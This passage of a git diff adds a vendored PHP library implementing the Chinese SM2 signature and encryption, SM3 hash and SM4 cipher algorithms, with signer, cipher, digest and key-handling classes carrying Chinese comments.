gmp_init('0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7', 16); + $y = gmp_init('0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0', 16); + + return $curve->getGenerator($x, $y, $order, $randomGenerator); + } +} diff --git a/includes/vendor/lpilp/guomi/src/ecc/Sm2Signer.php b/includes/vendor/lpilp/guomi/src/ecc/Sm2Signer.php new file mode 100644 index 0000000..6972d5e --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/ecc/Sm2Signer.php @@ -0,0 +1,126 @@ +adapter = $adapter; + } + + /** + * @param PrivateKeyInterface $key + * @param \GMP $truncatedHash - hash truncated for use in ECDSA hash算法然后truncated by 相关的椭圆字节 + * @param \GMP $randomK + * @return SignatureInterface + */ + + public function sign( PrivateKeyInterface $key, \GMP $truncatedHash, \GMP $randomK ): SignatureInterface { + $math = $this->adapter; + $generator = $key->getPoint(); + // var_dump($generator);die(); + $n = $generator->getOrder(); + $modMath = $math->getModularArithmetic( $n ); + $prikey = $key->getSecret(); + //第一二步是userid, msg 生成 trucatedhash , + $count = 0; + while (true) { + $count++; + // echo "count: $count\n"; + if($count >5){ + throw new \RuntimeException( 'Error: sign R or S = 0' ); + } + // 第三步生成随机数 + $k = $math->mod( $randomK, $n ); + // 第四步 计算pt1(x1,y1) = [K]G这个点 + // 生成一个新的点P = kG + $p1 = $generator->mul( $k ); + // var_dump($p1);die(); + // 第五步 计算 r = (truncatedHash + x1) mod n + $r = $modMath->add($truncatedHash,$p1->getX()); + // var_dump(gmp_strval($r,16));die(); + $zero = gmp_init( 0, 10 ); + if ( $math->equals( $r, $zero ) ) { + // @todo 如报错,重来 + // continue; //报错重来一次 + // @todo + throw new \RuntimeException( 'Error: random number R = 0' ); + } + // 第六步 计算 s = ((1 + d)^-1 * (k - rd)) mod n + + $one = gmp_init(1,10); + $s1 = $math->inverseMod($math->add($one, $prikey),$n ); + // print_r(gmp_strval($s1,16));die(); + $s2 = $math->sub($k,$math->mul($r,$prikey)); + // print_r(gmp_strval($s2,16));die(); + $s = $modMath->mul($s1,$s2); + // var_dump($generator->mul($s));die(); + if ( $math->equals( $s, $zero ) ) { + // continue; + throw new \RuntimeException( 'Error: random number S = 0' ); + } + return new Signature( $r, $s ); + } + } + + /** + * @param PublicKeyInterface $key + * @param SignatureInterface $signature + * @param \GMP $hash + * @return bool + */ + + public function verify( PublicKeyInterface $key, SignatureInterface $signature, \GMP $hash ): bool { + + $generator = $key->getGenerator(); + // var_dump($generator);die(); + $n = $generator->getOrder(); + $r = $signature->getR(); + $s = $signature->getS(); + $math = $this->adapter; + $one = gmp_init( 1, 10 ); + if ( $math->cmp( $r, $one ) < 0 || $math->cmp( $r, $math->sub( $n, $one ) ) > 0 ) { + return false; + } + + if ( $math->cmp( $s, $one ) < 0 || $math->cmp( $s, $math->sub( $n, $one ) ) > 0 ) { + return false; + } + + // 1.2.3.4 sm3 取msg,userid的 hash值,这里直接就传过来了, + $modMath = $math->getModularArithmetic( $n ); + // 第五步 计算t=(r'+s')mod n + $t = $modMath->add($r,$s); + // // 第六步 计算(x1,y1) = [s]G + [t]PA + $p1 = $generator->mul($s); // p1 = sG 是OK的与签名生成的sG一样 + $p2 = $key->getPoint()->mul($t); + $xy = $p1->add($p2); + // // 第七步 R=(e' + x1') 验证R==r'? + $v = $modMath->add($hash, $xy->getX()); + + return BinaryString::constantTimeCompare( $math->toString( $v ), $math->toString( $r ) ); + } +} diff --git a/includes/vendor/lpilp/guomi/src/overwrite.php b/includes/vendor/lpilp/guomi/src/overwrite.php new file mode 100644 index 0000000..7ea19b6 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/overwrite.php @@ -0,0 +1,14 @@ + __DIR__ .'/ecc/Serializer/Util/CurveOidMapper.php', + 'Mdanter\Ecc\Curves\CurveFactory'=>__DIR__ .'/ecc/Curves/CurveFactory.php', + ); + + + if (isset($map[$cls])) { + // echo $cls . ' loaded abc '. $map[$cls]. PHP_EOL; + include_once $map[$cls]; + return true; + } +}, true, true); diff --git a/includes/vendor/lpilp/guomi/src/sm/RtSm2.php b/includes/vendor/lpilp/guomi/src/sm/RtSm2.php new file mode 100644 index 0000000..ecd3e6f --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/sm/RtSm2.php @@ -0,0 +1,403 @@ +adapter = RtEccFactory::getAdapter(); + $this->generator = RtEccFactory::getSmCurves()->generatorSm2(); + if (in_array($formatSign, $this->arrFormat)) { + $this->formatSign = $formatSign; + } else { + $this->formatSign = 'hex'; + } + if (!$randFixed) { + $this->useDerandomizedSignatures = false; + $this->useDerandomizedEncrypt = false; + } + } + + + /** + * 随机生成一对16进制明文公私钥 + */ + public function generatekey() + { + // $adapter = $this->adapter; + $generator = $this->generator; + //随机生成一个私钥类 + $private = $generator->createPrivateKey(); + //取出私钥16进制表示出来 + $privateKey = $this->decHex($private->getSecret()); + //取出公钥的椭圆点 + + $pubPoint = $private->getPublicKey()->getPoint(); + //公钥上的点x, y + $pubX = $this->decHex($pubPoint->getX()); + $pubY = $this->decHex($pubPoint->getY()); + $publicKey = '04' . $pubX . $pubY; + return [$privateKey, $publicKey]; + } + + /** + * 随机生成一对PEM编码公私钥 + */ + public function generatePemkey() + { + $adapter = $this->adapter; + $generator = $this->generator; + $private = $generator->createPrivateKey(); + $derSerializer = new DerPrivateKeySerializer($adapter); + // der包 ans1编码 1 版本号 2私钥 3 oid 4 公钥 四组数据 + // $der = $derSerializer->serialize( $private ); + $pemSerializer = new PemPrivateKeySerializer($derSerializer); + $privateKeyPem = $pemSerializer->serialize($private); + + $derPubSerializer = new DerPublicKeySerializer($adapter); + $pemPubSerializer = new PemPublicKeySerializer($derPubSerializer); + $publicKeyPem = $pemPubSerializer->serialize($private->getPublicKey()); + + + return [$privateKeyPem, $publicKeyPem]; + } + /** + * SM2 公钥加密算法 + * + * @param string $document + * @param string $publicKey 如提供的base64的,可使用 bin2hex(base64_decode($publicKey)) + * @return string + */ + public function doEncrypt($document, $publicKey, $model = C1C3C2) + { + $adapter = $this->adapter; + $generator = $this->generator; + $this->cipher = new \Rtgm\smecc\SM2\Cipher(); + $arrMsg = Hex2ByteBuf::HexStringToByteArray2(bin2hex($document)); + + list($pubKeyX, $pubKeyY) = $this->_getKeyXY($publicKey); + // $key = $this->_getPubKeyObject( $pubKeyX, $pubKeyY ); + $point = new Point($adapter, $generator->getCurve(), gmp_init($pubKeyX, 16), gmp_init($pubKeyY, 16)); + // 是否使用固定的中间椭圆加密, + if ($this->useDerandomizedEncrypt) { + $c1 = $this->cipher->initEncipher($point, $this->foreignKey); + } else { + $c1 = $this->cipher->initEncipher($point, null); + } + + // print_r($c1); + + $arrMsg = $this->cipher->encryptBlock($arrMsg); + $c2 = strtolower(Hex2ByteBuf::ByteArrayToHexString($arrMsg)); + // print_R($c2);echo "\n"; + $c3 = strtolower(Hex2ByteBuf::ByteArrayToHexString($this->cipher->Dofinal())); + // print_r($c1.$c3.$c2); + if ($model == C1C3C2) { + return $c1 . $c3 . $c2; + } else { + return $c1 . $c2 . $c3; + } + } + /** + * SM2 私钥解密算法, + * + * @param string $document + * @param string $privateKey 如提供的base64的,可使用 bin2hex(base64_decode($privateKey)) + * @param bool $trim 是否做04开头的去除,看业务返回 + * @return string + */ + public function doDecrypt($encryptData, $privateKey, $trim = true, $model = C1C3C2) + { + // $encryptData = $c1.$c3.$c2 + if (substr($encryptData, 0, 2) == '04' && $trim) { + $encryptData = substr($encryptData, 2); + } + if (strlen($privateKey) == 66 && substr($privateKey, 0, 2) == '00') { + $privateKey = substr($privateKey, 2); // 个别的key 前面带着00 + } + $adapter = $this->adapter; + $generator = $this->generator; + $this->cipher = new \Rtgm\smecc\SM2\Cipher(); + $c1X = substr($encryptData, 0, 64); + $c1Y = substr($encryptData, strlen($c1X), 64); + $c1Length = strlen($c1X) + strlen($c1Y); + if ($model == C1C3C2) { + $c3 = substr($encryptData, $c1Length, 64); + $c2 = substr($encryptData, $c1Length + strlen($c3)); + } else { + $c3 = substr($encryptData, -64); + $c2 = substr($encryptData, $c1Length, strlen($encryptData) - $c1Length - 64); + } + + $p1 = new Point($adapter, $generator->getCurve(), gmp_init($c1X, 16), gmp_init($c1Y, 16)); + $this->cipher->initDecipher($p1, $privateKey); + + $arrMsg = Hex2ByteBuf::HexStringToByteArray2($c2); + $arrMsg = $this->cipher->decryptBlock($arrMsg); + $document = hex2bin(Hex2ByteBuf::ByteArrayToHexString($arrMsg)); + + $c3_ = strtolower(Hex2ByteBuf::ByteArrayToHexString($this->cipher->Dofinal())); + $c3 = strtolower($c3); + if ($c3 == $c3_) { //hash签名相同, + return $document; + } else { + return ''; + } + } + /** + * SM2 签名明文16进制密码, 如提供的base64的,可使用 bin2hex(base64_decode($privateKey)) + * + */ + public function doSign($document, $privateKey, $userId = null) + { + if (empty($userId)) { + $userId = $this->userId; + } + $adapter = $this->adapter; + $generator = $this->generator; + $algorithm = 'sha256'; + $secret = gmp_init($privateKey, 16); + $key = new PrivateKey($adapter, $generator, $secret); + return $this->_dosign($document, $key, $adapter, $generator, $userId, $algorithm); + } + /** + * SM2 签名pem密码 + * + */ + public function doSignOutKey($document, $privateKeyFile, $userId = null) + { + if (empty($userId)) { + $userId = $this->userId; + } + if (!file_exists($privateKeyFile)) { + throw new \Exception('privatekey file not exists'); + } + $adapter = $this->adapter; + $generator = $this->generator; + //这个sha256 只是生成随机数时用到,和主体算法无关 + $algorithm = 'sha256'; + + $pemSerializer = new PemPrivateKeySerializer(new DerPrivateKeySerializer($adapter)); + $keyData = file_get_contents($privateKeyFile); + + $key = $pemSerializer->parse($keyData); + + return $this->_dosign($document, $key, $adapter, $generator, $userId, $algorithm); + } + + protected function _dosign($document, $key, $adapter, $generator, $userId, $algorithm = 'sha256') + { + // $publickey = $key->getPublicKey(); + + $obPoint = $key->getPublicKey()->getPoint(); + + $pubKeyX = $adapter->decHex($obPoint->getX()); + $pubKeyY = $adapter->decHex($obPoint->getY()); + + $hash = $this->_doS3Hash($document, $pubKeyX, $pubKeyY, $generator, $userId); + + # Derandomized signatures are not necessary, but is avoids + # the risk of a low entropy RNG, causing accidental reuse + # of a k value for a different message, which leaks the + # private key. + if ($this->useDerandomizedSignatures) { + $random = \Mdanter\Ecc\Random\RandomGeneratorFactory::getHmacRandomGenerator($key, $hash, $algorithm); + } else { + $random = \Mdanter\Ecc\Random\RandomGeneratorFactory::getRandomGenerator(); + } + + $randomK = $random->generate($generator->getOrder()); + + $signer = new Sm2Signer($adapter); + $signature = $signer->sign($key, $hash, $randomK); + + $serializer = new DerSignatureSerializer(); + $serializedSig = $serializer->serialize($signature); + + if ($this->formatSign == 'hex') { + return bin2hex($serializedSig); + } else if ($this->formatSign == 'base64') { + return base64_encode($serializedSig) . PHP_EOL; + } + //缺省 hex + return bin2hex($serializedSig); + } + + + public function verifySign($document, $sign, $publicKey, $userId = null) + { + $adapter = $this->adapter; + $generator = $this->generator; + if (empty($userId)) { + $userId = $this->userId; + } + + if ($this->formatSign == 'hex') { + $sigData = hex2bin($sign); + } else if ($this->formatSign == 'base64') { + $sigData = base64_decode($sign); + } else { + $sigData = hex2bin($sign); + } + // Parse signature + $sigSerializer = new DerSignatureSerializer(); + $sig = $sigSerializer->parse($sigData); + + // get hash + list($pubKeyX, $pubKeyY) = $this->_getKeyXY($publicKey); + + $hash = $this->_doS3Hash($document, $pubKeyX, $pubKeyY, $generator, $userId); + + // get pubkey parse + $key = $this->_getPubKeyObject($pubKeyX, $pubKeyY); + + $signer = new Sm2Signer($adapter); + return $signer->verify($key, $sig, $hash); + } + + public function verifySignOutKey($document, $sign, $publickeyFile, $userId = null) + { + + if (empty($userId)) { + $userId = $this->userId; + } + if (!file_exists($publickeyFile)) { + throw new \Exception('publickey file not exists'); + } + $adapter = $this->adapter; + $generator = $this->generator; + + if ($this->formatSign == 'hex') { + $sigData = hex2bin($sign); + } else if ($this->formatSign == 'base64') { + $sigData = base64_decode($sign); + } else { + $sigData = hex2bin($sign); + } + + // Parse signature + $sigSerializer = new DerSignatureSerializer(); + $sig = $sigSerializer->parse($sigData); + + // Parse public key + $keyData = file_get_contents($publickeyFile); + $derSerializer = new DerPublicKeySerializer($adapter); + $pemSerializer = new PemPublicKeySerializer($derSerializer); + $key = $pemSerializer->parse($keyData); + + $pubKeyX = $this->decHex($key->getPoint()->getX()); + $pubKeyY = $this->decHex($key->getPoint()->getY()); + $hash = $this->_doS3Hash($document, $pubKeyX, $pubKeyY, $generator, $userId); + $signer = new Sm2Signer($adapter); + + return $signer->verify($key, $sig, $hash); + } + /** + * + */ + protected function _doS3Hash($document, $pubKeyX, $pubKeyY, $generator, $userId) + { + $hasher = new Sm2WithSm3(); + $hash = $hasher->getSm3Hash($document, $pubKeyX, $pubKeyY, $generator, $userId); + return gmp_init(Hex2ByteBuf::ByteArrayToHexString($hash), 16); + } + + protected function _getKeyXY($publicKey) + { + if (strlen($publicKey) == 128) { + $pubKeyX = substr($publicKey, 0, 64); + $pubKeyY = substr($publicKey, -64); + } else if (strlen($publicKey) == 130 && substr($publicKey, 0, 2) == '04') { + $pubKeyX = substr($publicKey, 2, 64); + $pubKeyY = substr($publicKey, -64); + } else { + throw new \Exception('publickey format error'); + } + return [$pubKeyX, $pubKeyY]; + } + + protected function _getPubKeyObject($pubKeyX, $pubKeyY) + { + $generator = $this->generator; + // __construct( GmpMathInterface $adapter, CurveFpInterface $curve, \GMP $x, \GMP $y, \GMP $order = null, bool $infinity = false ) + $x = gmp_init($pubKeyX, 16); + $y = gmp_init($pubKeyY, 16); + $point = new Point($this->adapter, $generator->getCurve(), $x, $y); + + // __construct( GmpMathInterface $adapter, GeneratorPoint $generator, PointInterface $point ) + return new PublicKey($this->adapter, $this->generator, $point); + } + + protected function _str2hex($str) + { + $res = array(); + for ($i = 0; $i < strlen($str); $i++) { + $res[$i] = sprintf("%02x", ord($str[$i])); + } + return implode("", $res); + } + private function decHex($dec, $len = 64): string + { + if (gettype($dec) == 'string') { + $dec = gmp_init($dec, 10); + } + if (gmp_cmp($dec, 0) < 0) { + throw new \InvalidArgumentException('Unable to convert negative integer to string'); + } + + $hex = gmp_strval($dec, 16); + + /* if (strlen($hex) % 2 != 0) { + $hex = '0'.$hex; + } */ + $left = $len - strlen($hex); + if ($left > 0) { + $hex = str_repeat('0', $left) . $hex; + } + + return $hex; + } +} diff --git a/includes/vendor/lpilp/guomi/src/sm/RtSm3.php b/includes/vendor/lpilp/guomi/src/sm/RtSm3.php new file mode 100644 index 0000000..5ce8524 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/sm/RtSm3.php @@ -0,0 +1,27 @@ +BlockUpdate($msgArray, 1, sizeof($msgArray)); + $sm3->DoFinal($md, 0); + if($format){ + return $this->_dec2hex($md); + } else { + return $md; + } + } + + protected function _dec2hex($md){ + $res = array(); + for($i=0; $ism4 = new Sm4($key); + } + + public function encrypt($data, $type = 'sm4', $iv = '', $formatOut = 'hex') + { + + if ($type != 'sm4-ecb') { + $this->check_iv($iv); + } + $ret = ''; + switch ($type) { + case 'sm4': + case 'sm4-cbc': + $data = $this->mystr_pad($data, $this->keyLen); //需要补齐 + $ret = $this->sm4->enDataCbc($data, $iv); + break; + case 'sm4-ecb': + $data = $this->mystr_pad($data, $this->keyLen); //需要补齐 + $ret = $this->sm4->enDataEcb($data); + break; + case 'sm4-ctr': + $ret = $this->sm4->enDataCtr($data, $iv); + break; + case 'sm4-ofb': + $ret = $this->sm4->enDataOfb($data, $iv); + break; + case 'sm4-cfb': + $ret = $this->sm4->enDataCfb($data, $iv); + break; + default: + throw new Exception('bad type'); + } + if ($formatOut == 'hex') { + return bin2hex($ret); + } else if ($formatOut == 'base64') { + return base64_encode($ret); + } + return $ret; + } + + public function decrypt($data, $type = 'sm4', $iv = '', $formatInput = 'hex') + { + if ($type != 'sm4-ecb') { + $this->check_iv($iv); + } + if ($formatInput == 'hex') { + $data = hex2bin($data); + } else if ($formatInput == 'base64') { + $data = base64_decode($data); + } + //else is raw + switch ($type) { + case 'sm4': + case 'sm4-cbc': + $ret = $this->sm4->deDataCbc($data, $iv); + $ret = $this->mystr_unpad($ret); + break; + case 'sm4-ecb': + $ret = $this->sm4->deDataEcb($data); + $ret = $this->mystr_unpad($ret); + break; + case 'sm4-ctr': + $ret = $this->sm4->deDataCtr($data, $iv); + break; + case 'sm4-ofb': + $ret = $this->sm4->deDataOfb($data, $iv); + break; + case 'sm4-cfb': + $ret = $this->sm4->deDataCfb($data, $iv); + break; + default: + throw new Exception('bad type'); + } + return $ret; + } + //加密前补齐 + protected function mystr_pad($data, $len = 16) + { + $n = $len - strlen($data) % $len; + return $data . str_repeat(chr($n), $n); + } + // 解密后去掉补齐 + protected function mystr_unpad($data) + { + $n = ord(substr($data, -1)); + return substr($data, 0, -$n); + } + protected function check_iv($iv) + { + if (strlen($iv) != $this->ivLen) { + throw new Exception('bad iv'); + } + } +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM2/Cipher.php b/includes/vendor/lpilp/guomi/src/smecc/SM2/Cipher.php new file mode 100644 index 0000000..bcf590b --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM2/Cipher.php @@ -0,0 +1,116 @@ +sm3keybase = new SM3Digest(); + $this->sm3c3 = new SM3Digest(); + + $p = array(); + + $gmp_x = $this->p2->GetX(); + $x = Hex2ByteBuf::ConvertGmp2ByteArray($gmp_x); + $this->sm3keybase->BlockUpdate($x, 0, sizeof($x)); + $this->sm3c3->BlockUpdate($x, 0, sizeof($x)); + + $gmp_y = $this->p2->GetY(); + $y = Hex2ByteBuf::ConvertGmp2ByteArray($gmp_y); + $this->sm3keybase->BlockUpdate($y, 0, sizeof($y)); + + $this->ct = 1; + $this->NextKey(); + } + public function initEncipher($userPoint, $foreignKey = null) + { + if (empty($foreignKey)) { + $sm2 = new RtSm2(); + $foreignKey = $sm2->generatekey(); + } + $foreignPriKey = $foreignKey[0]; + $foreignPubKey = $foreignKey[1]; + $this->p2 = $userPoint->mul(gmp_init($foreignPriKey, 16)); + $this->reset(); + return substr($foreignPubKey, -128); + } + public function initDecipher($userPoint, $privateKey) + { + $this->p2 = $userPoint->mul(gmp_init($privateKey, 16)); + $this->reset(); + } + + private function NextKey() + { + $sm3keycur = new SM3Digest(); + $sm3keycur->setSM3Digest($this->sm3keybase); + $sm3keycur->Update(($this->ct >> 24 & 0x00ff)); + $sm3keycur->Update(($this->ct >> 16 & 0x00ff)); + $sm3keycur->Update(($this->ct >> 8 & 0x00ff)); + $sm3keycur->Update(($this->ct & 0x00ff)); + $sm3keycur->DoFinal($this->key, 0); + $this->keyOff = 0; + $this->ct++; + } + + public function encryptBlock($data) + { + $len = count($data); + $this->sm3c3->BlockUpdate($data, 0, $len); + // print_r($data);die(); + for ($i = 0; $i < $len; $i++) { + if ($this->keyOff == sizeof($this->key)) { + $this->NextKey(); + } + + $data[$i] ^= $this->key[$this->keyOff++]; + } + return $data; + } + + + + public function decryptBlock($data) + { + $len = count($data); + for ($i = 0; $i < $len; $i++) { + if ($this->keyOff == sizeof($this->key)) + $this->NextKey(); + + $data[$i] ^= $this->key[$this->keyOff++]; + } + $this->sm3c3->BlockUpdate($data, 0, $len); + return $data; + } + + public function Dofinal() + { + $c3 = array(); + $gmp_p = $this->p2->GetY(); + $p = Hex2ByteBuf::ConvertGmp2ByteArray($gmp_p); + $this->sm3c3->BlockUpdate($p, 0, sizeof($p)); + $this->sm3c3->DoFinal($c3, 0); + $this->Reset(); + return $c3; + } +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM2/Hex2ByteBuf.php b/includes/vendor/lpilp/guomi/src/smecc/SM2/Hex2ByteBuf.php new file mode 100644 index 0000000..b364f84 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM2/Hex2ByteBuf.php @@ -0,0 +1,107 @@ +getPublicKeyFrom($Kx,$Ky,null); + + $n = 0; + $incount = 0; + $outcount = 0; + $temp_InBuf = array(); + $temp_OutBuf = array(); + $inlen = strlen($InString) + 1; + $outlen = ($inlen / $this::MAX_ENCLEN + 1) * $this::SM2_ADDBYTE + $inlen; + $OutBuf = array(); + $InBuf = array(); + $InBuf=unpack("C*",$InString); + $InBuf[$inlen]=0;//这样是为了保挂与其它开发语言一致 + $ret = 0; + $temp_inlen = 0; + while ( $inlen > 0) + { + if ( $inlen > $this::MAX_ENCLEN) + $temp_inlen = $this::MAX_ENCLEN; + else + $temp_inlen = $inlen; + for ( $n = 0; $n < $temp_inlen; $n++) + { + $temp_InBuf[$n] = $InBuf[$incount + $n + 1];//注意,这里要加1,因为UNPACK后是从1开始 + } + $temp_OutBuf=$this->sub_EncBufBySoft($temp_InBuf, $temp_inlen, $userKey); + for ( $n = 0; $n < ($temp_inlen + $this::SM2_ADDBYTE); $n++) + { + $OutBuf[ $outcount + $n] = $temp_OutBuf[$n]; + } + $inlen = $inlen - $this::MAX_ENCLEN; + $incount = $incount + $this::MAX_ENCLEN; + $outcount = $outcount + $this::MAX_DECLEN; + } + return Hex2ByteBuf::ByteArrayToHexString( $OutBuf, sizeof($OutBuf)); + } + + + private function sub_EncBufBySoft($InBuf, $InBuflen, $userKey) + { + + $n = 0 ; + $data = array(); + + $data = $InBuf; + + + $cipher = new Cipher(); + $c1 = $cipher->Init_enc( $userKey); + + $bc1[0]=4; + $gmp_x = $c1->getPoint()->GetX(); + $x=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_x); + SM3Digest::arraycopy($x,0,$bc1,1,sizeof($x)); + + $gmp_y = $c1->getPoint()->GetY(); + $y=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_y); + SM3Digest::arraycopy($y,0,$bc1,1+32,sizeof($y)); + + $c1_len = sizeof($bc1); + + $data=$cipher->Encrypt( $data ,$InBuflen); + + $c3 = array(); + $c3=$cipher->Dofinal( ); + + $OutBuf=array(); + for ( $n = 0; $n < $c1_len; $n++) + { + + $OutBuf[$n] = $bc1[ $n]; + } + for ( $n = 0; $n < $InBuflen; $n++) + { + $OutBuf[ $n + $c1_len] = $data[ $n]; + } + for ( $n = 0; $n < 32; $n++) + { + $OutBuf[ $n + $c1_len + $InBuflen] = $c3[ $n]; + } + return $OutBuf; + } */ +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM2/Sm2WithSm3.php b/includes/vendor/lpilp/guomi/src/smecc/SM2/Sm2WithSm3.php new file mode 100644 index 0000000..a258d0e --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM2/Sm2WithSm3.php @@ -0,0 +1,172 @@ +Update( ($len >> 8 & 0x00ff)); + $sm3->Update( ($len & 0x00ff)); + + // userId + $sm3->BlockUpdate($id, 1, sizeof($id)); + + // a,b + $gmp_a = $generator->getCurve()->GetA(); + $a=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_a); + $sm3->BlockUpdate($a, 0, sizeof($a)); + + $gmp_b = $generator->getCurve()->GetB(); + $b=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_b); + $sm3->BlockUpdate($b, 0, sizeof($b)); + // gx,gy + $gmp_gx = $generator->GetX(); + $gx=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_gx); + $sm3->BlockUpdate($gx, 0, sizeof($gx)); + + $gmp_gy = $generator->GetY(); + $gy=Hex2ByteBuf::ConvertGmp2ByteArray($gmp_gy); + $sm3->BlockUpdate($gy, 0, sizeof($gy)); + // x,y + $bPubKeyX=array(); + $bPubKeyX=Hex2ByteBuf::HexStringToByteArray($HexPubKeyX); + $sm3->BlockUpdate($bPubKeyX, 0, sizeof($bPubKeyX)); + $bPubKeyY=array(); + $bPubKeyY=Hex2ByteBuf::HexStringToByteArray($HexPubKeyY); + $sm3->BlockUpdate($bPubKeyY, 0, sizeof($bPubKeyY)); + + $sm3->DoFinal($md, 0); + return $md; + + } + + private function GetE($z, $HashMsgValue) + { + $md = array(); + $sm3 = new SM3Digest(); + + $sm3->BlockUpdate($z, 0, sizeof($z)); + // byte[] p = Encoding.Default.GetBytes(msg); + // sm3.BlockUpdate(p, 0, p.Length); + + $sm3->BlockUpdate($HashMsgValue, 0, 32); + + $sm3->DoFinal($md, 0); + return $md; + + } + + public function GetMsgHash( $msg) + { + $md = array(); + $sm3 = new SM3Digest(); + $msgArray=unpack("C*",$msg); + $sm3->BlockUpdate($msgArray, 1, sizeof($msgArray)); + $sm3->DoFinal($md, 0); + return $md; + } + + + private function Sm2Verify($md, $PubKeyX, $PubKeyY, $VerfiySign,$generator) + { + //SM2Result sm2Ret = new SM2Result(); + $InSignBuf = array(); + + $InSignBuf=Hex2ByteBuf::HexStringToByteArray($VerfiySign); + + + $Kx = gmp_init($PubKeyX, 16); + $Ky = gmp_init($PubKeyY, 16); + + $PubKey = $generator->getPublicKeyFrom($Kx,$Ky,null); + $r = gmp_init(substr($VerfiySign,0, 64), 16); + $s = gmp_init(substr($VerfiySign,64, 64), 16); + + $ecc_point_g=$generator->getCurve()->getPoint($generator->GetX(), $generator->GetY()); + + $Sm2Ret=$this->sub_Sm2Verify($md, $PubKey , $r, $s,$ecc_point_g,$generator); + + if (gmp_cmp($r,$Sm2Ret)==0) + { + return true; + } + else + return false; + + } + + private function sub_Sm2Verify($md, $userKey,$r, $s,$ecc_point_g,$generator) + { + + $generator = $userKey->getGenerator(); + $ecc_n = $generator->getOrder(); + + // e_ + $md_gmp=Hex2ByteBuf::ByteArrayToHexString($md,sizeof($md)); + $e =gmp_init($md_gmp,16); + // t + $t=gmp_add($r,$s); + $t=gmp_mod($t,$ecc_n); + + $zero = gmp_init(0, 10); + + if (gmp_cmp($t,$zero)==0) + return null; + + + // x1y1 + $x1y1 = $ecc_point_g->mul($s); + $x1y1 = $x1y1->add($userKey->getPoint()->mul($t)); + + // R + return gmp_mod(gmp_add($e,$x1y1->GetX()),$ecc_n); + } + + public function YtVerfiyBySoft($id, $msg, $PubKeyX, $PubKeyY, $VerfiySign,$generator) + { + + + $Z = array(); + $E = array(); + $MsgHashValue = array(); + + $Z = $this->GetZ($id, $PubKeyX, $PubKeyY,$generator); + $MsgHashValue = $this->GetMsgHash($msg); + $E = $this->GetE($Z, $MsgHashValue); + + + + $IsVailSign = $this->Sm2Verify($E, $PubKeyX, $PubKeyY, $VerfiySign,$generator); + return $IsVailSign; + + } + public function getSm3Hash($msg,$PubKeyX, $PubKeyY, $generator, $userId="1234567812345678") { + // sm3(z+msg) + $z = $this->GetZ($userId, $PubKeyX, $PubKeyY,$generator); + + $md = array(); + $sm3 = new SM3Digest(); + $sm3->BlockUpdate($z, 0, sizeof($z)); + $msgArray=unpack("C*",$msg); + $sm3->BlockUpdate($msgArray, 1, sizeof($msgArray)); + $sm3->DoFinal($md, 0); + return $md; + } + +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM3/GeneralDigest.php b/includes/vendor/lpilp/guomi/src/smecc/SM3/GeneralDigest.php new file mode 100644 index 0000000..b19a671 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM3/GeneralDigest.php @@ -0,0 +1,112 @@ +arraycopy($t->xBuf, 0, $this->xBuf, 0, sizeof($t->xBuf)); + + $this->xBufOff = $t->xBufOff; + $this->byteCount = $t->byteCount; + } + + public function __construct( ) + { + $this->xBuf[0]=0; + $this->xBuf[1]=0; + $this->xBuf[2]=0; $this->xBuf[3]=0; + } + + + public function Update($input) + { + $this->xBuf[$this->xBufOff++] = $input; + + if ($this->xBufOff == sizeof($this->xBuf)) + { + $this->ProcessWord($this->xBuf, 0); + $this->xBufOff = 0; + } + + $this->byteCount++; + } + + public function BlockUpdate( + $input, + $inOff, + $length) + { + // + // fill the current word + // + while (($this->xBufOff != 0) && ($length > 0)) + { + $this->Update($input[$inOff]); + $inOff++; + $length--; + } + + // + // process whole words. + // + while ($length > sizeof($this->xBuf)) + { + $this->ProcessWord($input, $inOff); + + $inOff += sizeof($this->xBuf); + $length -= sizeof($this->xBuf); + $this->byteCount += sizeof($this->xBuf); + } + + // + // load in the remainder. + // + while ($length > 0) + { + $this->Update($input[$inOff]); + + $inOff++; + $length--; + } + } + + public function Finish() + { + // $bitLength = ($this->byteCount << 3); + $bitLength = $this->LeftRotateLong($this->byteCount , 3); + // + // add the pad bytes. + // + $this->Update(128); + + while ($this->xBufOff != 0) $this->Update(0); + $this->ProcessLength($bitLength); + $this->ProcessBlock(); + } + + public function Reset() + { + $this->byteCount = 0; + $this->xBufOff = 0; + $this->xBuf[0]=0; + $this->xBuf[1]=0; + $this->xBuf[2]=0; $this->xBuf[3]=0; + } + + public function GetByteLength():int + { + return $this::BYTE_LENGTH; + } + + +} diff --git a/includes/vendor/lpilp/guomi/src/smecc/SM3/SM3Digest.php b/includes/vendor/lpilp/guomi/src/smecc/SM3/SM3Digest.php new file mode 100644 index 0000000..158cc15 --- /dev/null +++ b/includes/vendor/lpilp/guomi/src/smecc/SM3/SM3Digest.php @@ -0,0 +1,348 @@ +Reset(); + } + + + public function setSM3Digest($t) + { + parent::setGeneralDigest($t); + $this->arraycopy($t->X, 0, $this->X, 0, sizeof($t->X)); + $this->xOff = $t->xOff; + $this->arraycopy($t->v, 0, $this->v, 0, sizeof($t->v)); + } + + public function Reset() + { + parent::Reset(); + + $this->arraycopy(SM3Digest::$v0, 0, $this->v, 0, sizeof(SM3Digest::$v0)); + + $this->xOff = 0; + $this->arraycopy(SM3Digest::$X0, 0, $this->X, 0, sizeof(SM3Digest::$X0)); + } + + public static function arraycopy($InBuf,$InBufPos,&$OutBuf,$OutBufPos,$Len) + { + for( $n = 0 ;$n< $Len;$n++) + { + $OutBuf[$n + $OutBufPos] =$InBuf[$n+$InBufPos]; + } + + } 